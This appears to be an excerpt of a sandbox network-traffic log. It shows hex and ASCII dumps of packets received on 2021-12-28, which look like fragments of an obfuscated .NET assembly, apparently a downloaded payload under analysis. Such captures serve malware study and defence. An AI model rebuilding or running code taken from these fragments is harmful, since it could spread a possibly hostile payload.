2021-12-28 04:19:03 UTC	40	IN	Data Raw: 00 00 00 38 69 f2 ff ff fe 0c 11 00 20 1a 00 00 00 fe 0c 28 00 9c 20 30 00 00 00 38 51 f2 ff ff fe 0c 00 00 20 04 00 00 00 fe 0c 09 00 9c 20 aa 01 00 00 38 39 f2 ff ff 20 90 00 00 00 20 2e 00 00 00 58 fe 0e 09 00 20 4a 00 00 00 28 73 01 00 06 3a 1b f2 ff ff 26 20 6b 00 00 00 38 10 f2 ff ff 11 10 11 26 61 13 04 20 4a 01 00 00 38 ff f1 ff ff fe 0c 00 00 20 01 00 00 00 20 cf 00 00 00 20 45 00 00 00 59 9c 20 6f 00 00 00 28 72 01 00 06 3a db f1 ff ff 26 20 39 00 00 00 38 d0 f1 ff ff fe 0c 11 00 20 16 00 00 00 20 f5 00 00 00 20 51 00 00 00 59 9c 20 d0 00 00 00 28 72 01 00 06 3a ac f1 ff ff 26 20 53 00 00 00 38 a1 f1 ff ff fe 0c 00 00 20 01 00 00 00 fe 0c 09 00 9c 20 74 01 00 00 38 89 f1 ff ff fe 0c 00 00 20 02 00 00 00 20 65 00 00 00 20 6f 00 00 00 58 9c 20 4f Data Ascii: 8i ( 08Q 89 .X J(s:& k8&a J8 EY o(r:& 98 QY (r:& S8 t8 e oX O
2021-12-28 04:19:03 UTC	41	IN	Data Raw: ed ff ff fe 0c 11 00 20 02 00 00 00 20 38 00 00 00 20 35 00 00 00 58 9c 20 a0 01 00 00 38 f6 ec ff ff fe 0c 00 00 20 0f 00 00 00 fe 0c 09 00 9c 20 2d 00 00 00 38 de ec ff ff fe 0c 11 00 20 16 00 00 00 fe 0c 28 00 9c 20 0d 01 00 00 28 72 01 00 06 3a c1 ec ff ff 26 20 46 00 00 00 38 b6 ec ff ff fe 0c 11 00 20 10 00 00 00 fe 0c 28 00 9c 20 03 00 00 00 38 9e ec ff ff fe 0c 11 00 20 15 00 00 00 fe 0c 28 00 9c 20 4a 00 00 00 28 72 01 00 06 39 81 ec ff ff 26 20 7b 00 00 00 38 76 ec ff ff fe 0c 11 00 20 03 00 00 00 fe 0c 28 00 9c 20 a2 01 00 00 38 5e ec ff ff 20 b2 00 00 00 20 3b 00 00 00 59 fe 0e 28 00 20 21 01 00 00 38 45 ec ff ff fe 0c 00 00 20 04 00 00 00 fe 0c 09 00 9c 20 16 00 00 00 38 2d ec ff ff 20 88 00 00 00 20 2d 00 00 00 59 fe 0e 28 00 20 49 00 00 00 Data Ascii: 8 5X 8 -8 ( (r:& F8 ( 8 ( J(r9& {8v ( 8^ ;Y( !8E 8- -Y( I
2021-12-28 04:19:03 UTC	43	IN	Data Raw: 01 00 00 38 b7 e7 ff ff 20 af 00 00 00 20 3a 00 00 00 59 fe 0e 28 00 20 65 00 00 00 38 9e e7 ff ff fe 0c 11 00 20 01 00 00 00 20 a6 00 00 00 20 37 00 00 00 59 9c 20 41 00 00 00 38 7f e7 ff ff 16 13 10 20 40 01 00 00 fe 0e 29 00 38 6a e7 ff ff 20 e0 00 00 00 20 6d 00 00 00 59 fe 0e 09 00 20 e5 00 00 00 38 55 e7 ff ff 20 c4 00 00 00 20 41 00 00 00 59 fe 0e 28 00 20 5e 00 00 00 fe 0e 29 00 38 34 e7 ff ff fe 0c 11 00 20 19 00 00 00 fe 0c 28 00 9c 20 7d 00 00 00 38 20 e7 ff ff 20 42 00 00 00 20 4e 00 00 00 58 fe 0e 28 00 20 0e 00 00 00 fe 0e 29 00 38 ff e6 ff ff 20 64 00 00 00 20 79 00 00 00 58 fe 0e 09 00 20 07 00 00 00 28 72 01 00 06 3a e5 e6 ff ff 26 20 07 00 00 00 38 da e6 ff ff 20 80 00 00 00 20 15 00 00 00 59 fe 0e 28 00 20 a6 00 00 00 28 72 01 00 06 3a Data Ascii: 8 :Y( e8 7Y A8 @)8j mY 8U AY( ^)84 ( }8 B NX( )8 d yX (r:& 8 Y( (r:
2021-12-28 04:19:03 UTC	44	IN	Data Raw: 00 00 00 58 fe 0e 09 00 20 d9 00 00 00 38 54 e2 ff ff fe 0c 00 00 20 01 00 00 00 20 cc 00 00 00 20 44 00 00 00 59 9c 20 84 01 00 00 28 72 01 00 06 3a 30 e2 ff ff 26 20 0c 01 00 00 38 25 e2 ff ff 20 21 00 00 00 20 31 00 00 00 58 fe 0e 28 00 20 e0 00 00 00 38 0c e2 ff ff fe 0c 11 00 20 17 00 00 00 20 2b 00 00 00 20 23 00 00 00 58 9c 20 84 00 00 00 fe 0e 29 00 38 e5 e1 ff ff fe 0c 00 00 20 0a 00 00 00 20 b6 00 00 00 20 3c 00 00 00 59 9c 20 3c 00 00 00 28 72 01 00 06 3a c5 e1 ff ff 26 20 18 00 00 00 38 ba e1 ff ff 11 0a 73 21 00 00 0a 16 73 ca 00 00 0a 13 25 20 4c 00 00 00 38 a1 e1 ff ff 20 80 00 00 00 20 2a 00 00 00 59 fe 0e 09 00 20 6f 01 00 00 28 73 01 00 06 39 83 e1 ff ff 26 20 55 00 00 00 38 78 e1 ff ff fe 0c 00 00 20 0d 00 00 00 20 f0 00 00 00 20 50 00 Data Ascii: X 8T DY (r:0& 8% ! 1X( 8 + #X )8 <Y <(r:& 8s!s% L8 *Y o(s9& U8x P
2021-12-28 04:19:03 UTC	45	IN	Data Raw: 00 59 9c 20 10 00 00 00 28 73 01 00 06 39 fb dc ff ff 26 20 04 00 00 00 38 f0 dc ff ff fe 0c 11 00 20 08 00 00 00 20 19 00 00 00 20 32 00 00 00 58 9c 20 69 00 00 00 fe 0e 29 00 38 c9 dc ff ff 20 3a 00 00 00 20 0c 00 00 00 58 fe 0e 09 00 20 13 01 00 00 28 72 01 00 06 3a af dc ff ff 26 20 17 00 00 00 38 a4 dc ff ff 11 12 39 52 16 00 00 20 31 00 00 00 28 72 01 00 06 3a 8e dc ff ff 26 20 0d 00 00 00 38 83 dc ff ff 11 1e 16 3e b4 08 00 00 20 54 00 00 00 38 71 dc ff ff fe 0c 11 00 20 17 00 00 00 fe 0c 28 00 9c 20 99 01 00 00 28 72 01 00 06 3a 54 dc ff ff 26 20 7a 00 00 00 38 49 dc ff ff 11 24 17 58 13 24 20 2f 00 00 00 38 39 dc ff ff fe 0c 11 00 20 0e 00 00 00 20 b6 00 00 00 20 3c 00 00 00 59 9c 20 9d 00 00 00 38 1a dc ff ff fe 0c 00 00 20 0e 00 00 00 fe 0c 09 Data Ascii: Y (s9& 8 2X i)8 : X (r:& 89R 1(r:& 8> T8q ( (r:T& z8I$X$ /89 <Y 8
2021-12-28 04:19:03 UTC	47	IN	Data Raw: 20 2c 00 00 00 38 aa d7 ff ff 20 47 00 00 00 20 10 00 00 00 58 fe 0e 28 00 20 0d 00 00 00 fe 0e 29 00 38 89 d7 ff ff fe 0c 11 00 20 12 00 00 00 fe 0c 28 00 9c 20 0c 01 00 00 28 73 01 00 06 3a 70 d7 ff ff 26 20 8e 01 00 00 38 65 d7 ff ff fe 0c 00 00 20 03 00 00 00 20 ce 00 00 00 20 7a 00 00 00 59 9c 20 c3 00 00 00 38 46 d7 ff ff fe 0c 11 00 20 05 00 00 00 20 2d 00 00 00 20 0e 00 00 00 58 9c 20 e7 00 00 00 38 27 d7 ff ff 11 22 17 58 13 22 20 07 00 00 00 28 73 01 00 06 3a 12 d7 ff ff 26 20 23 00 00 00 38 07 d7 ff ff fe 0c 00 00 20 06 00 00 00 20 08 00 00 00 20 45 00 00 00 58 9c 20 71 00 00 00 28 72 01 00 06 39 e3 d6 ff ff 26 20 a2 00 00 00 38 d8 d6 ff ff 20 59 00 00 00 20 64 00 00 00 58 fe 0e 09 00 20 72 01 00 00 38 bf d6 ff ff fe 0c 11 00 20 10 00 00 00 fe Data Ascii: ,8 G X( )8 ( (s:p& 8e zY 8F - X 8'"X" (s:& #8 EX q(r9& 8 Y dX r8
2021-12-28 04:19:03 UTC	48	IN	Data Raw: 20 b4 00 00 00 38 51 d2 ff ff 20 88 00 00 00 20 2d 00 00 00 59 fe 0e 09 00 20 ed 00 00 00 38 38 d2 ff ff 16 13 22 20 3a 00 00 00 28 73 01 00 06 3a 26 d2 ff ff 26 20 98 00 00 00 38 1b d2 ff ff fe 0c 11 00 20 03 00 00 00 fe 0c 28 00 9c 20 7e 01 00 00 38 03 d2 ff ff fe 0c 11 00 20 0f 00 00 00 20 2d 00 00 00 20 5b 00 00 00 58 9c 20 7f 00 00 00 28 72 01 00 06 3a df d1 ff ff 26 20 6f 00 00 00 38 d4 d1 ff ff fe 0c 11 00 20 1f 00 00 00 20 c5 00 00 00 20 41 00 00 00 59 9c 20 cd 00 00 00 38 b5 d1 ff ff 16 13 0e 20 71 00 00 00 38 a8 d1 ff ff fe 0c 11 00 20 10 00 00 00 fe 0c 28 00 9c 20 e3 00 00 00 28 73 01 00 06 39 8b d1 ff ff 26 20 17 00 00 00 38 80 d1 ff ff fe 0c 11 00 20 0b 00 00 00 20 1c 00 00 00 20 06 00 00 00 58 9c 20 8b 01 00 00 38 61 d1 ff ff fe 0c 11 00 20 Data Ascii: 8Q -Y 88" :(s:&& 8 ( ~8 - [X (r:& o8 AY 8 q8 ( (s9& 8 X 8a
2021-12-28 04:19:03 UTC	49	IN	Data Raw: ff 11 05 1a 5a 13 14 20 58 01 00 00 38 f1 cc ff ff 11 0b 8e 69 1a 5d 13 1e 20 81 00 00 00 38 df cc ff ff 20 f0 00 00 00 20 50 00 00 00 59 fe 0e 09 00 20 ae 00 00 00 38 c6 cc ff ff fe 0c 00 00 20 05 00 00 00 20 3e 00 00 00 20 1b 00 00 00 58 9c 20 89 00 00 00 38 a7 cc ff ff 20 15 00 00 00 20 48 00 00 00 58 fe 0e 09 00 20 50 01 00 00 38 8e cc ff ff fe 0c 11 00 20 17 00 00 00 20 91 00 00 00 20 30 00 00 00 59 9c 20 49 01 00 00 38 6f cc ff ff 20 4a 00 00 00 20 3e 00 00 00 58 fe 0e 28 00 20 a8 01 00 00 38 56 cc ff ff 20 cc 00 00 00 20 44 00 00 00 59 fe 0e 28 00 20 6a 00 00 00 fe 0e 29 00 38 35 cc ff ff 38 9b e5 ff ff 20 5f 00 00 00 28 73 01 00 06 3a 25 cc ff ff 26 20 b1 00 00 00 38 1a cc ff ff fe 0c 00 00 20 07 00 00 00 fe 0c 09 00 9c 20 9f 00 00 00 38 02 cc ff Data Ascii: Z X8i] 8 PY 8 > X 8 HX P8 0Y I8o J >X( 8V DY( j)858 _(s:%& 8 8
2021-12-28 04:19:03 UTC	51	IN	Data Raw: 26 20 05 00 00 00 38 9e c7 ff ff 73 72 00 00 0a 13 2a 20 42 00 00 00 28 72 01 00 06 39 88 c7 ff ff 26 20 07 01 00 00 38 7d c7 ff ff fe 0c 00 00 20 04 00 00 00 20 b0 00 00 00 20 32 00 00 00 58 9c 20 4b 00 00 00 28 73 01 00 06 3a 59 c7 ff ff 26 20 73 00 00 00 38 4e c7 ff ff fe 0c 11 00 20 19 00 00 00 fe 0c 28 00 9c 20 d2 00 00 00 38 36 c7 ff ff fe 0c 11 00 20 0b 00 00 00 fe 0c 28 00 9c 20 de 00 00 00 38 1e c7 ff ff fe 0c 11 00 20 0a 00 00 00 fe 0c 28 00 9c 20 85 01 00 00 38 06 c7 ff ff 20 10 00 00 00 8d 16 00 00 01 fe 0e 00 00 20 4b 01 00 00 28 72 01 00 06 3a e9 c6 ff ff 26 20 35 01 00 00 38 de c6 ff ff 20 5e 00 00 00 20 45 00 00 00 58 fe 0e 28 00 20 51 01 00 00 38 c5 c6 ff ff 20 b6 00 00 00 20 3c 00 00 00 59 fe 0e 28 00 20 90 01 00 00 38 ac c6 ff ff 20 30 Data Ascii: & 8sr* B(r9& 8} 2X K(s:Y& s8N ( 86 ( 8 ( 8 K(r:& 58 ^ EX( Q8 <Y( 8 0
2021-12-28 04:19:03 UTC	52	IN	Data Raw: fe 0c 01 00 5a 6e fe 0c 07 00 5e 6d fe 0e 01 00 20 df 12 b0 54 fe 0c 1d 00 61 fe 0e 18 00 20 3f 43 06 00 fe 0c 01 00 20 ff 0f 00 00 5f 5a fe 0c 01 00 1f 0c 64 58 fe 0e 01 00 20 82 25 07 00 fe 0c 1d 00 20 ff 0f 00 00 5f 5a fe 0c 1d 00 1f 0c 64 59 fe 0e 1d 00 20 76 c2 00 00 fe 0c 1d 00 5a fe 0c 01 00 59 fe 0e 1d 00 fe 0c 1d 00 fe 0c 1d 00 fe 0c 1d 00 59 61 fe 0e 20 00 fe 0c 0c 00 fe 0c 0c 00 1f 19 62 61 fe 0e 0c 00 fe 0c 0c 00 fe 0c 18 00 58 fe 0e 0c 00 fe 0c 0c 00 fe 0c 0c 00 1d 62 61 fe 0e 0c 00 fe 0c 0c 00 fe 0c 19 00 58 fe 0e 0c 00 fe 0c 0c 00 fe 0c 0c 00 1f 0d 64 61 fe 0e 0c 00 fe 0c 0c 00 fe 0c 20 00 58 fe 0e 0c 00 fe 0c 18 00 1b 62 fe 0c 18 00 58 fe 0c 18 00 61 fe 0c 0c 00 58 fe 0e 0c 00 fe 0c 0c 00 76 6c 6d 58 13 10 20 43 01 00 00 28 73 01 00 06 39 Data Ascii: Zn^m Ta ?C _ZdX % _ZdY vZYYa baXbaXda XbXaXvlmX C(s9
2021-12-28 04:19:03 UTC	53	IN	Data Raw: 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 Data Ascii: ********************************
2021-12-28 04:19:03 UTC	57	IN	Data Raw: 00 00 00 00 00 00 14 2a 03 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 03 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 03 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 03 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 03 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 03 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 03 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 03 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 03 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 03 30 03 00 04 00 00 Data Ascii: 000000********000000
2021-12-28 04:19:03 UTC	61	IN	Data Raw: 04 00 06 2a 00 00 00 42 28 a9 00 00 06 d0 81 00 00 02 28 a0 00 00 06 2a 00 00 00 2a 0e 01 0e 00 6f f7 04 00 06 2a 00 42 28 a9 00 00 06 d0 82 00 00 02 28 a0 00 00 06 2a 00 00 00 32 0e 02 0e 00 0e 01 6f fb 04 00 06 2a 00 00 00 42 28 a9 00 00 06 d0 83 00 00 02 28 a0 00 00 06 2a 00 00 00 32 0e 02 0e 00 0e 01 6f ff 04 00 06 2a 00 00 00 42 28 a9 00 00 06 d0 84 00 00 02 28 a0 00 00 06 2a 00 00 00 2a 0e 01 0e 00 6f 03 05 00 06 2a 00 42 28 a9 00 00 06 d0 85 00 00 02 28 a0 00 00 06 2a 00 00 00 2a 0e 01 0e 00 6f 07 05 00 06 2a 00 42 28 a9 00 00 06 d0 86 00 00 02 28 a0 00 00 06 2a 00 00 00 2a 0e 01 0e 00 6f 0b 05 00 06 2a 00 42 28 a9 00 00 06 d0 87 00 00 02 28 a0 00 00 06 2a 00 00 00 22 0e 00 6f 0f 05 00 06 2a 00 00 00 42 28 a9 00 00 06 d0 88 00 00 02 28 a0 00 00 06 Data Ascii: B((oB((2oB((2oB((*oB((*oB((*oB(("oB((
2021-12-28 04:19:03 UTC	65	IN	Data Raw: 73 1e 06 00 3b 2e 8f 25 06 00 69 2e 8f 25 06 00 14 2f 73 1e 06 00 1f 2f 73 1e 06 00 28 2f 73 1e 06 00 33 2f 73 1e 12 00 1d 32 a6 00 06 00 49 32 da 26 12 00 09 33 a6 00 06 00 b2 35 38 1e 06 00 44 39 5f 00 12 00 c0 3b ce 3b 12 00 e4 3b ce 3b 06 00 20 3c 46 26 06 00 39 3c 5f 00 06 00 53 3c 5f 00 06 00 6f 3c 5f 00 06 00 d9 3e 5f 00 06 00 df 3e 5f 00 06 00 e6 3e 5f 00 06 00 ed 3e 5f 00 06 00 f5 3e 5f 00 06 00 66 4a 5f 00 d7 00 cc 4e 00 00 06 00 8c 50 8f 25 06 00 dd 50 8f 25 06 00 ed 50 5f 00 06 00 14 51 5f 00 06 00 2b 51 5f 00 06 00 a9 51 dd 2a 06 00 27 56 5f 00 0e 00 9b 69 b6 1d 0e 00 52 6a b6 1d 0e 00 38 6f b6 1d 16 00 97 6f a3 6f 06 00 cb 6f 08 2b 06 00 03 71 8f 25 06 00 57 71 71 71 06 00 81 71 5f 00 0a 00 95 71 2b 00 06 00 a6 71 c3 71 06 00 e7 71 c3 71 06 Data Ascii: s;.%i.%/s/s(/s3/s2I2&358D9_;;;; <F&9<_S<_o<_>_>_>_>_>_fJ_NP%P%P_Q_+Q_Q*'V_iRj8oooo+q%Wqqqq_q+qqqq
2021-12-28 04:19:03 UTC	69	IN	Data Raw: 46 ca 0f 06 00 52 46 f0 0e 11 00 5d 46 cf 0f 13 00 04 48 ca 0f 06 00 4b 48 05 10 06 00 56 48 f0 0e 11 00 61 48 08 10 06 06 6b 3b e5 0e 06 06 6b 3b e5 0e 13 00 01 49 34 10 11 00 51 49 3f 10 03 00 8d 49 4a 10 03 00 98 49 ec 01 13 00 a3 49 4f 10 11 00 df 49 5f 10 01 00 3c 4a 6a 10 03 00 47 4a 75 05 11 00 52 4a 6f 10 01 00 a6 4a 8c 10 03 00 b1 4a 75 05 13 00 bc 4a 91 10 03 00 0c 4b aa 10 03 00 17 4b ec 01 13 00 22 4b af 10 01 00 72 4b 6a 10 03 00 7d 4b 75 05 13 00 88 4b c8 10 01 00 d8 4b d3 10 01 00 e3 4b d8 10 11 00 ee 4b dd 10 06 00 2a 4c 75 05 06 00 35 4c bf 05 06 00 40 4c f0 0e 13 00 4b 4c f8 10 06 00 87 4c 75 05 06 00 92 4c f0 0e 06 00 9d 4c bf 05 06 00 a8 4c d8 10 11 00 b3 4c 03 11 06 00 ef 4c 75 05 06 00 fa 4c 75 05 06 00 05 4d 0e 11 13 00 10 4d 13 11 Data Ascii: FRF]FHKHVHaHk;k;I4QI?IJIIOI_<JjGJuRJoJJuJKK"KrKj}KuKKKK*Lu5L@LKLLuLLLLLuLuMM
2021-12-28 04:19:03 UTC	73	IN	Data Raw: 6c 2d 00 00 08 00 83 18 54 00 d7 00 e0 00 74 2d 00 00 08 00 81 00 4c 29 85 06 e0 00 40 2f 00 00 08 00 93 00 56 29 a4 06 e3 00 a4 2f 00 00 08 00 93 00 e1 29 37 01 e3 00 d8 2f 00 00 08 00 93 00 14 2a 88 03 e3 00 f8 2f 00 00 08 00 93 00 51 2a c3 06 e4 00 3c 30 00 00 08 00 93 00 60 2a dc 06 e8 00 4c 30 00 00 08 00 93 00 79 2a f2 06 ec 00 b4 30 00 00 08 00 96 00 b7 2a 12 07 f0 00 2c 37 00 00 08 00 91 00 d3 2c 22 08 f1 00 38 37 00 00 08 00 93 00 dd 2c 37 01 f2 00 3c 37 00 00 08 00 91 00 e7 2c 27 08 f2 00 7c 37 00 00 08 00 93 00 f1 2c 36 08 f4 00 ac 37 00 00 08 00 93 00 11 2d 49 08 f5 00 e0 38 00 00 08 00 91 00 71 2d 5f 08 fb 00 e4 38 00 00 08 00 91 00 7b 2d 37 01 fb 00 14 39 00 00 08 00 91 00 85 2d 90 08 fb 00 74 39 00 00 08 00 93 00 99 2d 37 01 fd 00 44 9e 00 Data Ascii: l-Tt-L)@/V)/)7//Q<0`L0y0*,7,"87,7<7,'\|7,67-I8q-_8{-79-t9-7D
2021-12-28 04:19:03 UTC	78	IN	Data Raw: ef 00 00 08 00 c6 00 3a 42 64 0f ce 01 98 ef 00 00 08 00 c6 00 45 42 6a 0f ce 01 a8 ef 00 00 08 00 c6 00 54 2b 70 0f ce 01 b8 ef 00 00 08 00 c6 00 50 42 70 0f cf 01 c8 ef 00 00 08 00 c6 00 5b 42 70 0f d0 01 d8 ef 00 00 08 00 c6 00 66 42 70 0f d1 01 e8 ef 00 00 08 00 c6 00 71 42 70 0f d2 01 f8 ef 00 00 08 00 c6 00 7c 42 70 0f d3 01 08 f0 00 00 08 00 c6 00 87 42 70 0f d4 01 18 f0 00 00 08 00 c6 00 92 42 70 0f d5 01 28 f0 00 00 08 00 c6 00 9d 42 70 0f d6 01 38 f0 00 00 08 00 c6 00 a8 42 70 0f d7 01 48 f0 00 00 08 00 c6 00 b3 42 70 0f d8 01 58 f0 00 00 08 00 c6 00 be 42 70 0f d9 01 68 f0 00 00 08 00 c6 00 c9 42 70 0f da 01 78 f0 00 00 08 00 c6 00 d4 42 70 0f db 01 88 f0 00 00 08 00 c6 00 df 42 70 0f dc 01 98 f0 00 00 08 00 c6 00 ea 42 6a 0f dd 01 a0 f0 00 00 Data Ascii: :BdEBjT+pPBp[BpfBpqBp\|BpBpBp(Bp8BpHBpXBphBpxBpBpBj
2021-12-28 04:19:03 UTC	82	IN	Data Raw: 00 00 00 00 c6 05 95 41 52 0f 4b 02 00 00 00 00 00 00 c6 05 a0 41 52 0f 4b 02 00 00 00 00 00 00 c6 05 ab 41 52 0f 4b 02 00 00 00 00 00 00 c6 05 b6 41 52 0f 4b 02 00 00 00 00 00 00 c6 05 c1 41 52 0f 4b 02 00 00 00 00 00 00 c6 05 cc 41 58 0f 4b 02 00 00 00 00 00 00 c6 05 d7 41 58 0f 4b 02 00 00 00 00 00 00 c6 05 e2 41 5e 0f 4b 02 00 00 00 00 00 00 c6 05 ed 41 5e 0f 4b 02 00 00 00 00 00 00 c6 05 f8 41 5e 0f 4b 02 00 00 00 00 00 00 c6 05 03 42 64 0f 4b 02 00 00 00 00 00 00 c6 05 0e 42 64 0f 4b 02 00 00 00 00 00 00 c6 05 19 42 64 0f 4b 02 00 00 00 00 00 00 c6 05 24 42 64 0f 4b 02 00 00 00 00 00 00 c6 05 2f 42 64 0f 4b 02 00 00 00 00 00 00 c6 05 3a 42 64 0f 4b 02 00 00 00 00 00 00 c6 05 45 42 6a 0f 4b 02 00 00 00 00 00 00 c6 05 54 2b 70 0f 4b 02 00 00 00 00 00 Data Ascii: ARKARKARKARKARKAXKAXKA^KA^KA^KBdKBdKBdK$BdK/BdK:BdKEBjKT+pK
2021-12-28 04:19:03 UTC	86	IN	Data Raw: 00 08 00 83 00 bc 50 19 13 ed 02 58 06 01 00 08 00 83 00 c7 50 34 13 ef 02 78 06 01 00 08 00 81 00 d2 50 57 13 f1 02 b0 06 01 00 08 00 81 00 3f 51 cf 13 f2 02 c0 06 01 00 08 00 81 00 4a 51 dc 13 f5 02 c8 06 01 00 08 00 81 00 55 51 b3 00 f6 02 d0 06 01 00 08 00 91 00 60 51 e3 13 f7 02 f0 06 01 00 08 00 81 00 7d 51 0c 14 f8 02 00 07 01 00 08 00 91 00 88 51 86 0f fa 02 10 07 01 00 08 00 81 00 93 51 01 0f fb 02 20 07 01 00 08 00 91 00 9e 51 4c 14 fc 02 30 07 01 00 08 00 91 00 1e 52 8d 14 fe 02 40 07 01 00 08 00 91 00 3f 52 8d 14 01 03 50 07 01 00 08 00 91 00 51 52 ff 14 04 03 60 07 01 00 08 00 91 00 c7 52 07 15 06 03 70 07 01 00 08 00 91 00 d2 52 86 0f 07 03 80 07 01 00 08 00 91 00 dd 52 1b 15 08 03 a4 07 01 00 08 00 91 00 e8 52 73 09 09 03 d0 07 01 00 08 00 Data Ascii: PXP4xPW?QJQUQ`Q}QQQ QL0R@?RPQR`RpRRRs
2021-12-28 04:19:03 UTC	90	IN	Data Raw: 08 00 16 00 7d 69 02 1a 35 03 00 00 00 00 03 00 06 18 54 00 65 01 35 03 4c 12 01 00 08 00 10 18 bd 16 37 01 35 03 00 00 00 00 03 00 46 00 15 18 11 1a 35 03 60 12 01 00 08 00 16 00 7d 69 17 1a 35 03 00 00 00 00 03 00 06 18 54 00 65 01 35 03 70 12 01 00 08 00 10 18 bd 16 37 01 35 03 00 00 00 00 03 00 46 00 15 18 25 1a 35 03 84 12 01 00 08 00 16 00 7d 69 2d 1a 35 03 00 00 00 00 03 00 06 18 54 00 65 01 35 03 90 12 01 00 08 00 10 18 bd 16 37 01 35 03 00 00 00 00 03 00 46 00 15 18 3d 1a 35 03 a4 12 01 00 08 00 16 00 7d 69 44 1a 35 03 00 00 00 00 03 00 06 18 54 00 65 01 35 03 b0 12 01 00 08 00 10 18 bd 16 37 01 35 03 00 00 00 00 03 00 46 00 15 18 9d 11 35 03 c4 12 01 00 08 00 16 00 7d 69 53 1a 35 03 00 00 00 00 03 00 06 18 54 00 65 01 35 03 d0 12 01 00 08 00 10 Data Ascii: }i5Te5L75F5`}i5Te5p75F%5}i-5Te575F=5}iD5Te575F5}iS5Te5
2021-12-28 04:19:03 UTC	94	IN	Data Raw: 00 0d 00 56 21 00 00 0e 00 10 21 00 20 00 00 00 00 01 00 01 00 6f 22 02 00 02 00 7d 22 00 00 03 00 69 21 00 00 01 00 10 21 00 00 02 00 17 21 00 20 00 00 00 00 00 20 01 00 ab 22 00 00 02 00 b3 22 00 20 01 00 ab 22 00 00 02 00 b3 22 00 00 03 00 56 21 00 00 04 00 10 21 00 20 00 00 00 00 00 00 01 00 69 21 00 00 01 00 10 21 00 00 02 00 17 21 00 20 00 00 00 00 00 20 01 00 ab 22 00 00 02 00 b3 22 00 20 01 00 ab 22 00 00 02 00 b3 22 00 00 03 00 56 21 00 00 04 00 10 21 00 20 00 00 00 00 00 00 01 00 69 21 00 00 01 00 10 21 00 00 02 00 17 21 00 20 01 00 1e 21 00 20 02 00 70 21 00 20 01 00 1e 21 00 20 02 00 70 21 00 00 03 00 56 21 00 00 04 00 10 21 00 00 01 00 69 21 00 00 01 00 10 21 00 00 02 00 17 21 00 00 01 00 bc 22 00 00 02 00 ca 22 00 00 03 00 d6 22 00 00 04 00 Data Ascii: V!! o"}"i!!! "" ""V!! i!!! "" ""V!! i!!! ! p! ! p!V!!i!!!"""
2021-12-28 04:19:03 UTC	97	IN	Data Raw: f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 02 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 02 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 00 01 00 f3 28 00 Data Ascii: (((((((((((((((((((((((((((((((((((((((((((
2021-12-28 04:19:03 UTC	101	IN	Data Raw: 00 00 00 21 00 04 00 00 00 22 00 18 00 00 00 23 00 00 00 00 00 24 00 10 00 00 00 25 00 1c 00 00 00 26 00 38 00 00 00 27 00 3c 00 00 00 28 00 0c 00 00 00 29 00 10 00 00 00 2a 00 14 00 00 00 2b 00 00 00 00 00 84 00 00 00 00 00 85 00 00 00 00 00 86 00 00 00 00 00 87 00 00 00 00 00 88 00 00 00 00 00 89 00 00 00 00 00 8d 00 00 00 00 00 8e 00 00 00 00 00 8f 00 00 00 00 00 90 00 00 00 00 00 91 00 00 00 00 00 92 00 00 00 00 00 93 00 00 00 00 00 94 00 82 01 0c 02 43 02 69 02 76 02 13 03 8f 03 33 04 95 05 44 06 8f 06 aa 06 d0 06 fc 06 19 07 2f 08 54 08 ac 08 78 09 da 09 01 0a 1d 0a 2f 0a 40 0a bb 0b 91 0c 10 0d 35 0d 44 0d 51 0d 67 0d 78 0d 90 0d bf 0d e8 0d c3 0e d6 0e 28 0f 37 0f 44 0f 4b 0f 80 0f 8f 0f d4 0f f2 0f 54 10 7c 10 9e 10 bc 10 ec 10 a2 11 aa 11 d4 11 Data Ascii: 